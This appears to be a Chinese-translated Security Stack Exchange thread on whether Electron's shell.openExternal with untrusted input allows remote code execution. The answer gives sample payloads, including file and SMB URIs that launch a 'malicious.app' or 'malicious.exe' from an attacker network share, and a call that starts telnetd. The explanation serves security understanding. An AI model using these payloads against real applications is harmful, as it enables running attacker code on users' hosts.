我很好奇在不受信任的内容上执行shell.openExternal的实际危险。文档特别指出,可以在RCE中利用这一点:
对openExternal的不当使用可能会影响用户的主机。当openExternal与不受信任的内容一起使用时,可以利用它来执行任意命令。
我可以通过弹出计算器应用程序或在文本编辑器中打开/etc/passwd来找到有关这个在线声明的所有报告。但这些都不是真正的远程代码执行。是的,RCE漏洞通常是通过弹出计算器应用程序来实现的,但弹出计算器应用程序并不意味着您有RCE:这些只是执行受害者的文件系统上已经存在的本地代码,或者在默认应用程序中打开受害者的文件系统上的文件。我不知道如何利用这种能力来危害用户的主机,而且我还没有找到在不受信任的内容上执行shell.openExternal所造成的实际RCE攻击或漏洞的例子。
从文档和实验来看,shell.openExternal的工作方式似乎实际上是在应用程序中打开一个url、文件或二进制文件,您的系统通常会使用它来运行它。您不能传递参数,因此调用shell并不特别有用。据我所知,在实际的RCE中利用这一点,首先需要将恶意二进制文件放到目标的文件系统上,位于可预测的位置。请注意,将恶意二进制文件上传到Internet并通过URL指向它是行不通的--它只会导致浏览器打开并提供文件供下载。
因此,假设我正在运行一个电子应用程序,它称为shell.openExternal(value);,在这里您可以控制value。如何在我的机器上执行任意代码/命令?
发布于 2020-02-13 01:22:27
我认为您的困惑源于您对“远程代码执行”(RCE)一词的解释。这个术语用于描述(可能是口头上的)许多不同类型的关键软件漏洞,这些漏洞允许攻击者在易受攻击的系统上执行任意代码或命令。此漏洞可能是由于内存损坏错误、逻辑错误、软件开发实践不佳或上述因素综合造成的。
您的问题中描述的漏洞允许“任意命令执行”。这些漏洞也被称为web应用程序安全中的“命令注入”漏洞,也许在其他地方也是如此。在这种情况下,您的断言是正确的,即执行的不是“远程”代码,但攻击者仍然可以在系统上运行潜在的任意命令。虽然不像内存损坏的bug那样花哨,攻击者可能劫持程序的指令流并可能执行自己的外壳代码,但它仍然很关键,因为攻击者不受openExternal函数性质的限制。
以下是攻击者如何处理此漏洞的一些示例:
# Sure, harmless enough
shell.openExternal('file:///Applications/Calculator.app')
# What if you provide a file URI to a network share that contains a malicious app?
shell.openExternal('file://net/203.0.113.0/nfs/evil/malicious.app')
# Or SMB share?
shell.openExternal('\\203.0.113.0\evil\malicious.exe')
# Maybe in some cases it is bad enough to just run a program with no arguments? (Rough example)
shell.openExternal('file:///bin/telnetd')
# Or maybe it could be combined with some kind of file upload to use an attacker's uploaded file.此外,一些应用程序可能注册自定义URI协议处理程序(如x-custom-app:// ),这些处理程序允许攻击者打开应用程序,并向其提供所支持的任何命令/数据。
我建议您在网上搜索使用openExternal的bug赏金记录。以下是我发现的一些事情:
https://security.stackexchange.com/questions/225799
复制相似问题